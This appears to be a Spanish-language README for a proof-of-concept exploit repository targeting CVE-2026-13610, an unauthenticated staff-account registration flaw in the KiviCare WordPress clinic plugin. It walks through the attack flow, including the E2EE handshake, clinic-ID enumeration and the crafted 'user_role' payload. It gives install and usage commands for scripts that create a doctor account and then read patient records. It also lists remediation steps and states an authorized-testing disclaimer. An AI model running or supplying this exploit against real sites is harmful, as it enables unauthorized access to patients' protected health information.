CVE-2026-13610

KiviCare – Clinic & Patient Management System <= 4.5.1 — Creación no autenticada de cuentas de médico/recepcionista mediante una gestión de privilegios inadecuada

CWE-269 (Gestión inadecuada de privilegios) | Registro no autenticado con un rol de personal elegido por el atacante → divulgación de PHI del paciente

Resumen

Vulnerabilidad crítica en el plugin de WordPress KiviCare – Clinic & Patient Management System (versiones hasta la 4.5.1 inclusive) que permite a atacantes no autenticados registrar una cuenta de médico (kiviCare_doctor) o recepcionista (kiviCare_receptionist) con una contraseña elegida por ellos mismos, asignada a una clínica elegida por el atacante.

La vulnerabilidad existe porque el endpoint de registro público toma el parámetro user_role directamente del cuerpo de la solicitud, y su lista blanca de validación incluye roles de personal de la clínica:

Detalles de la vulnerabilidad

Análisis de la causa raíz

El endpoint de registro POST /wp-json/kivicare/v1/auth/register (app/controllers/api/AuthController.php:237–242) está protegido únicamente por checkRegistrationPermission() (:602–650), que:

1. Devuelve true inmediatamente si users_can_register está habilitado (sin comprobación de autenticación).
2. En caso contrario, comprueba la configuración de roles del propio plugin, que por defecto es permitir porque KCOption::get() devuelve null en instalaciones predeterminadas.
3. Cae finalmente en return true al final de la función.

El controlador register() (:1277–1387) lee entonces user_role del cuerpo de la solicitud, lo asigna a los modelos KCDoctor / KCReceptionist y llama a $model->save() — que ejecuta wp_insert_user() y setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) sin ninguna comprobación de autorización. La cuenta resultante está activa y asignada a la clínica elegida por el atacante.

El cifrado E2EE del cuerpo del plugin no es una barrera: los endpoints de handshake (server-key, config/register-key) no están autenticados (app/controllers/api/ConfigController.php:190–205), por lo que cualquier cliente puede negociar una clave de invitado y enviar un payload cifrado.

Análisis completo: analysis/TECHNICAL_ANALYSIS.md

Flujo del ataque

1. Handshake (encrypted targets):
   POST /wp-json/kivicare/v1/server-key               -> server X25519 public key
   POST /wp-json/kivicare/v1/config/register-key      -> register own public key
   (header x_kc_client_id: <anything>, body {"public_key": "<base64>"})

2. Enumerate a valid clinic ID via the validation oracle:
   "Invalid clinic selected"  -> clinic does not exist
   "Username already exists"  -> clinic exists

3. Encrypt the payload and send:
   POST /wp-json/kivicare/v1/auth/register
   body = base64( nonce(24B) || crypto_box(json) )

   {
     "username": "attacker",
     "email": "[email protected]",
     "password": "P@ssw0rd-123!",
     "first_name": "Att", "last_name": "Acker",
     "mobile_number": "+15550133777",
     "gender": "male",
     "user_role": "kiviCare_doctor",     <-- vulnerable parameter
     "user_clinic": 1
   }

4. HTTP 201 "Registration successful." -> active doctor account created

5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI

Instalación

git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt

Uso

Comprobación previa (configuración del objetivo + handshake E2EE)

python preflight.py http://target.com

Crear una cuenta de médico (no autenticada)

python exploit.py --url http://target.com \
  --username attacker --email [email protected] --password 'P@ssw0rd-123!'

El script detecta automáticamente el modo de transporte (JSON plano vs cifrado E2EE) y enumera los IDs de clínica cuando no se proporciona --clinic.

Demostrar el acceso a los datos clínicos con la cuenta creada

python verify_impact.py --url http://target.com \
  --username attacker --password 'P@ssw0rd-123!'

Inicia sesión vía REST, reasocia la clave de respuesta E2EE de la cuenta y luego llama a endpoints solo para personal (/patients, /appointments).

Opciones (exploit.py)

--url           Target base URL (required)
--username      Username to create (default: attacker<random>)
--email         Email (default: <username>@evil.example)
--password      Password (default: Poc!Passw0rd-2026)
--role          kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic        Clinic ID (auto-enumerated when omitted)
--mobile        Mobile number (default: random +1555...)
--first-name    First name (default: Dr)
--last-name     Last name (default: Poc)
--gender        Gender (default: male)
--no-verify     Skip post-creation login verification

Impacto

Una explotación exitosa produce una cuenta de personal activa asignada a una clínica real, sin necesidad de autenticación:

• Leer/exportar PHI del paciente: historiales médicos, consultas, recetas, facturación
• Crear/editar/eliminar citas, sesiones, informes, recetas
• Una cuenta válida de WordPress con acceso al panel wp-admin (read + upload_files) — un punto de apoyo para ataques posteriores

El endpoint no permite crear una cuenta administrator de WordPress (la lista blanca de user_role la rechaza), pero el rol de médico es suficiente para el acceso completo a los datos clínicos.

Remediación

1. Forzar el rol de paciente para los registrantes no autenticados y aplicar el parámetro declarado patient_role_only
2. Mover la creación de cuentas de personal a un endpoint solo para administradores detrás de current_user_can('create_users') + verificación de nonce
3. Denegar por defecto en checkRegistrationPermission — eliminar el return true final
4. Exigir recaptchaToken cuando reCAPTCHA está habilitado (actualmente opcional)
5. Actualizar KiviCare tan pronto como se publique una versión parcheada

Referencias

• Entrada de NVD
• Página del plugin en WordPress
• Análisis técnico completo
• Patchstack.

Descargo de responsabilidad

SOLO PARA FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.

Esta herramienta está destinada a investigadores de seguridad y probadores de penetración con autorización escrita explícita para probar sistemas objetivo. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso de esta herramienta. Toda la verificación se realizó en la infraestructura de laboratorio del propio autor.

Autor

ghostpels — Investigación de seguridad y desarrollo de exploits

Licencia

Este proyecto está licenciado bajo la Licencia de Investigación de Seguridad ghostpels.